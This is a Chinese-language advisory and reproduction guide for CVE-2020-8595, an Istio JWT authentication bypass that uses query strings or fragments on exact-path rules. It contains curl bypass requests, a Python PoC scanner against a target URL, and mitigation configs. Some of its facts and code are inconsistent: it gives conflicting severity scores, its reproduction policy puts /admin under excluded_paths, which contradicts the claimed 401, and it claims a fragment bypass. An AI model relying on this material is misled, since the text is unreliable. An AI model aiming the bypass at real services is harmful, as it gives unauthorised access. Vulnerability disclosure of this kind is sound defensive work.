一、漏洞简介

1.1 漏洞背景

Istio 是一个开源的服务网格平台,提供了统一的方式来连接、保护、控制和服务监控微服务。其中,JWT(JSON Web Token)认证策略是 Istio 重要的安全功能之一,用于验证访问服务的请求是否携带有效的身份令牌。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2020-8595
危害等级 HIGH / 7.3
漏洞类型 JWT 认证策略绕过漏洞
披露时间 2020-02-12
影响组件 Istio
  • CVE编号: CVE-2020-8595
  • 危害等级: 高危 (High)
  • CVSS评分: 9.0 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
  • 漏洞类型: 认证绕过 (Authentication Bypass)
  • CWE分类: CWE-287: Improper Authentication

补充核验信息:公开时间:2020-02-12;NVD 评分:7.3(HIGH);CWE:CWE-287。

二、影响范围

2.1 受影响的版本

  • Istio 1.2.10 及之前版本(已停止维护)
  • Istio 1.3.0 - 1.3.7
  • Istio 1.4.0 - 1.4.3

2.2 不受影响的版本

  • Istio 1.3.8 及更高版本
  • Istio 1.4.4 及更高版本

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 使用了 Istio 的 JWT 认证策略
  2. 认证策略中配置了基于精确路径(exact path)匹配的规则
  3. 攻击者能够在请求 URL 中添加查询参数(?)或片段标识符(#)

三、漏洞详情与原理解析

3.1 漏洞触发机制

Istio 的 JWT 认证策略支持基于路径的精确匹配(exact path match)。漏洞的核心问题在于:路径匹配逻辑在进行比较时,没有正确处理 URL 中的查询字符串(query string)和片段(fragment)部分。

根据规范,URL 的标准格式为:

scheme://host:port/path?query#fragment

当管理员配置保护路径 /api/admin 时,期望只有携带有效 JWT token 的请求才能访问。然而,攻击者可以通过以下方式绕过认证:

GET /api/admin?bypass HTTP/1.1
Host: target-service
# 或者
GET /api/admin#section HTTP/1.1
Host: target-service

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞存在于 Istio 的 Envoy JWT filter 配置生成代码中。问题代码简化逻辑如下:

// 伪代码展示漏洞原理
func generateJWTFilter(policy *AuthenticationPolicy) *jwt.AuthnFilter {
    for _, rule := range policy.Spec.Rules {
        for _, trigger := range rule.Triggers {
            if trigger.ExactPath != "" {
                // 漏洞点:直接使用完整路径进行匹配
                // 没有移除查询字符串和片段部分
                matchPath := trigger.ExactPath // 错误:应该是去除?和#后的路径

                config.Rules = append(config.Rules, &jwt.JwtRule{
                    Match: []*jwt.Matcher{
                        {
                            PathSpecifier: &pathmatch.Path{
                                Path: matchPath, // 这里包含了完整的 URI
                            },
                        },
                    },
                })
            }
        }
    }
    return config
}

正确的实现应该是:

// 正确的实现
func generateJWTFilter(policy *AuthenticationPolicy) *jwt.AuthnFilter {
    for _, rule := range policy.Rules {
        for _, trigger := range rule.Triggers {
            if trigger.ExactPath != "" {
                // 正确:解析 URL 并只提取路径部分
                matchPath := extractPathOnly(trigger.ExactPath)
                // 移除查询参数和片段

                config.Rules = append(config.Rules, &jwt.JwtRule{
                    Match: []*jwt.Matcher{
                        {
                            PathSpecifier: &pathmatch.Path{
                                Path: matchPath,
                            },
                        },
                    },
                })
            }
        }
    }
    return config
}

func extractPathOnly(uri string) string {
    // 移除查询参数
    if idx := strings.Index(uri, "?"); idx != -1 {
        uri = uri[:idx]
    }
    // 移除片段
    if idx := strings.Index(uri, "#"); idx != -1 {
        uri = uri[:idx]
    }
    return uri
}

四、漏洞复现(可选)

4.1 环境搭建

环境要求: - Kubernetes 集群(建议使用 Minikube 或 Kind) - Istio 1.3.7(受影响版本)

步骤 1: 安装受影响版本的 Istio

# 下载 Istio 1.3.7
curl -L https://git.io/getLatestIstio | ISTIO_VERSION=1.3.7 sh -
cd istio-1.3.7

# 安装 Istio
export PATH=$PWD/bin:$PATH
istioctl manifest apply --set profile=demo

步骤 2: 部署测试应用

# 创建命名空间并启用自动注入
kubectl create ns vulnerable-app
kubectl label namespace vulnerable-app istio-injection=enabled

# 部署 httpbin 示例应用
kubectl apply -n vulnerable-app -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: httpbin
spec:
  replicas: 1
  selector:
    matchLabels:
      app: httpbin
  template:
    metadata:
      labels:
        app: httpbin
    spec:
      containers:
      - name: httpbin
        image: kennethreitz/httpbin
        ports:
        - containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
  name: httpbin
spec:
  ports:
  - port: 8000
    targetPort: 80
    name: http
  selector:
    app: httpbin
EOF

步骤 3: 配置 JWT 认证策略

# 创建 JWT 认证策略,保护 /admin 路径
kubectl apply -n vulnerable-app -f - <<EOF
apiVersion: authentication.istio.io/v1alpha1
kind: Policy
metadata:
  name: jwt-policy
spec:
  targets:
  - name: httpbin
  origins:
  - jwt:
      issuer: "test-issuer"
      jwksUri: "https://raw.githubusercontent.com/istio/istio/master/security/tools/jwt/samples/jwks.json"
      trigger_rules:
      - excluded_paths:
        - exact: /admin
        - prefix: /admin/
  principalBinding: USE_ORIGIN
EOF

4.2 PoC 演示与测试过程

步骤 1: 验证正常保护

# 获取服务访问地址(在 Minikube 环境中)
export INGRESS_PORT=$(kubectl -n istio-system get service istio-ingressgateway -o jsonpath='{.spec.ports[?(@.name=="http2")].nodePort}')
export INGRESS_HOST=$(minikube ip)
export GATEWAY_URL=$INGRESS_HOST:$INGRESS_PORT

# 尝试不带 JWT token 访问 /admin 路径
curl -v http://$GATEWAY_URL/admin
# 预期结果: 返回 401 Unauthorized

# 尝试使用无效 JWT token
curl -v -H "Authorization: Bearer invalid-token" http://$GATEWAY_URL/admin
# 预期结果: 返回 401 Unauthorized

步骤 2: 漏洞利用

# 使用查询参数绕过认证
curl -v http://$GATEWAY_URL/admin?bypass=1
# 实际结果: 返回 200 OK (成功绕过认证!)

# 使用片段标识符绕过认证
curl -v http://$GATEWAY_URL/admin#section1
# 实际结果: 返回 200 OK (成功绕过认证!)

# 组合使用
curl -v "http://$GATEWAY_URL/admin?foo=bar#bypass"
# 实际结果: 返回 200 OK

步骤 3: 验证后端实际接收到的请求

# 查看 httpbin pod 日志
kubectl logs -n vulnerable-app -l app=httpbin -f

# 当发送 /admin?bypass 时,后端实际接收到的路径是:
# GET /admin?bypass=1 HTTP/1.1
# 说明请求成功到达后端服务,认证被完全绕过

完整 PoC 脚本:

#!/usr/bin/env python3
import requests
import sys

def test_bypass(target_url):
    """
    测试 CVE-2020-8595 JWT 认证绕过漏洞

    Args:
        target_url: 目标服务的基础 URL
    """

    # 测试路径
    test_paths = [
        "/admin",                    # 正常路径(应该被阻止)
        "/admin?bypass=1",           # 使用查询参数绕过
        "/admin#section1",           # 使用片段绕过
        "/admin?x=y#frag",           # 组合绕过
        "/admin/status?test=1",      # 子路径绕过
        "/admin/status#data",        # 子路径片段绕过
    ]

    print(f"[*] 测试目标: {target_url}")
    print(f"[*] 开始测试 CVE-2020-8595 漏洞...\n")

    for path in test_paths:
        url = target_url + path
        try:
            response = requests.get(url, timeout=5, allow_redirects=False)
            status = "VULNERABLE" if response.status_code == 200 else "PROTECTED"
            print(f"[{status}] Path: {path}")
            print(f"    Status: {response.status_code}")
            print(f"    URL: {url}\n")
        except Exception as e:
            print(f"[ERROR] Path: {path}")
            print(f"    Error: {str(e)}\n")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        print(f"Example: {sys.argv[0]} http://192.168.99.100:31380")
        sys.exit(1)

    target = sys.argv[1]
    test_bypass(target)

五、修复建议与缓解措施

5.1 官方版本升级建议

强烈建议升级到以下安全版本:

# 对于 Istio 1.3.x 用户
istioctl manifest apply --set profile=demo --set hub=docker.io/istio --set tag=1.3.8

# 对于 Istio 1.4.x 用户
istioctl manifest apply --set profile=demo --set hub=docker.io/istio --set tag=1.4.4

# 或者升级到更新的长期支持版本
istioctl manifest apply --set profile=demo

升级步骤:

# 1. 备份当前配置
kubectl get all -n istio-system -o yaml > istio-backup.yaml
kubectl get policies.authentication.istio.io --all-namespaces -o yaml > jwt-policies-backup.yaml

# 2. 下载新版本
curl -L https://istio.io/downloadIstio | sh -
cd istio-*

# 3. 升级 Istio
istioctl upgrade

# 4. 验证升级
kubectl get pods -n istio-system
istioctl version

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

如果无法立即升级,可采用以下临时缓解措施:

方案 1: 使用前缀匹配代替精确匹配

apiVersion: authentication.istio.io/v1alpha1
kind: Policy
metadata:
  name: jwt-policy-workaround
spec:
  targets:
  - name: httpbin
  origins:
  - jwt:
      issuer: "test-issuer"
      jwksUri: "https://your-jwks-url/jwks.json"
      trigger_rules:
      - excluded_paths:
        # 使用前缀匹配而不是精确匹配
        - prefix: /admin
  principalBinding: USE_ORIGIN

方案 2: 添加 Envoy Filter 进行路径规范化

apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
  name: path-normalization-filter
  namespace: istio-system
spec:
  configPatches:
  - applyTo: HTTP_FILTER
    match:
      context: ANY
    patch:
      operation: INSERT_BEFORE
      value:
        name: envoy.lua
        typed_config:
          '@type': type.googleapis.com/envoy.config.filter.http.lua.v2.Lua
          default_source_code:
            inline_string: |
              function envoy_on_request(request_handle)
                local path = request_handle:headers():get(":path")
                -- 移除查询参数和片段
                local clean_path = path
                local query_start = string.find(clean_path, "?")
                if query_start then
                  clean_path = string.sub(clean_path, 1, query_start - 1)
                end
                local fragment_start = string.find(clean_path, "#")
                if fragment_start then
                  clean_path = string.sub(clean_path, 1, fragment_start - 1)
                end
                request_handle:headers():replace(":path", clean_path)
              end

方案 3: 在应用层添加额外的认证检查

// 在应用代码中添加路径验证
func authMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // 获取纯净的路径(移除查询参数和片段)
        path := r.URL.Path

        // 对敏感路径进行额外的 JWT 验证
        if strings.HasPrefix(path, "/admin") {
            token := r.Header.Get("Authorization")
            if !validateJWT(token) {
                http.Error(w, "Unauthorized", http.StatusUnauthorized)
                return
            }
        }

        next.ServeHTTP(w, r)
    })
}

六、参考信息 / 参考链接

6.1 官方安全通告

  • Istio Security Bulletin: https://istio.io/latest/news/security/istio-security-2020-001/
  • CVE-2020-8595 详情: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8595
  • NVD 漏洞数据库: https://nvd.nist.gov/vuln/detail/CVE-2020-8595

6.2 其他技术参考资料

  • Aspen Mesh 漏洞报告: https://aspenmesh.com/istio-security-vulnerability/
  • RFC 3986 - URI 语法规范: https://tools.ietf.org/html/rfc3986
  • Istio 认证策略文档: https://istio.io/latest/docs/reference/config/security/istio.authentication.v1alpha1/
  • Envoy JWT Filter: https://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_filters/jwt_authn_filter